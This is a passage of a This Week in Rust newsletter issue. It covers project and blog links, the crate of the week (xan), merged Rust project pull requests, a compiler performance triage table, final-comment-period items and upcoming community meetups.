<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
